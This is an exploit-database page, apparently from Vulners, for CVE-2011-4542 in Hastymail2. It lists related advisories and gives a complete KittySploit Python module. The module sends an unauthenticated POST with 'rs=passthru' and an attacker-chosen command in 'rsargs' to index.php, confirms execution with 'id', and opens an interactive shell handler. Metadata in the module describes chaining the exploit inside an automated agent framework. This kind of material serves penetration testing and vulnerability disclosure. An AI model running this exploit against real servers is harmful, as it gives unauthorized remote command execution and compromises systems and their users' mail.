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Hastymail2 - rs=passthru RCE (CVE-2011-4542)

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Unauthenticated RCE in Hastymail2 via rs=passthru with rsargs to index.php mailbox Drafts.

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Hastymail 2.1.1 RC1 Command Injection
12 Jul 201200:00
–zdt
circl
Circl
CVE-2011-4542
12 Jul 201200:00
–circl
checkpoint_advisories
Check Point Advisories
Hastymail2 call_user_func_array() Command Injection (CVE-2011-4542)
23 Oct 201400:00
–checkpoint_advisories
cve
CVE
CVE-2011-4542
30 Nov 201102:00
–cve
cvelist
Cvelist
CVE-2011-4542
30 Nov 201102:00
–cvelist
exploitdb
Exploit DB
Hastymail 2.1.1 RC1 - Command Injection (Metasploit)
12 Jul 201200:00
–exploitdb
kittysploit
KittySploit
Hastymail2 - rs=passthru RCE Detection (CVE-2011-4542)
10 Aug 202606:19
–kittysploit
metasploit
Metasploit
Hastymail 2.1.1 RC1 Command Injection
22 Nov 201100:00
–metasploit
nvd
NVD
CVE-2011-4542
30 Nov 201104:05
–nvd
openvas
OpenVAS
Hastymail < 2.1.1 RC2 RCE Vulnerability
25 Nov 201100:00
–openvas
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Hastymail2 rs=passthru RCE (CVE-2011-4542)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Hastymail2 - rs=passthru RCE (CVE-2011-4542)',
        'description': (
            'Exploits CVE-2011-4542 by POSTing rs=passthru with attacker-controlled '
            'rsargs to index.php mailbox Drafts.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2011-4542'],
        'platform': Platform.PHP,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2011-4542'],
        'tags': ['hastymail', 'rce', 'unauth', 'cve-2011-4542'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 1,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/cve_2011_4542_detect'],
            },
        },
    }

    base_path = OptString('', 'Hastymail base path', required=False)

    def execute(self, cmd: str) -> str:
        base = str(self.base_path or '').rstrip('/')
        path = f'{base}/index.php?page=mailbox&mailbox=Drafts'
        r = self.http_request(
            method='POST',
            path=path,
            data=f'rs=passthru&rsargs[]=asd&rsargs[]={cmd}',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def handler_execute(self):
        out = self.execute('id')
        if not out or not re.search(r'uid=\d+', out):
            print_error('Target does not appear vulnerable to CVE-2011-4542')
            return False
        print_success('Hastymail2 RCE confirmed')
        self.handler_console()
        return True

    def run(self):
        return self.handler_execute()

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10 Aug 2026 06:19Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.24119
0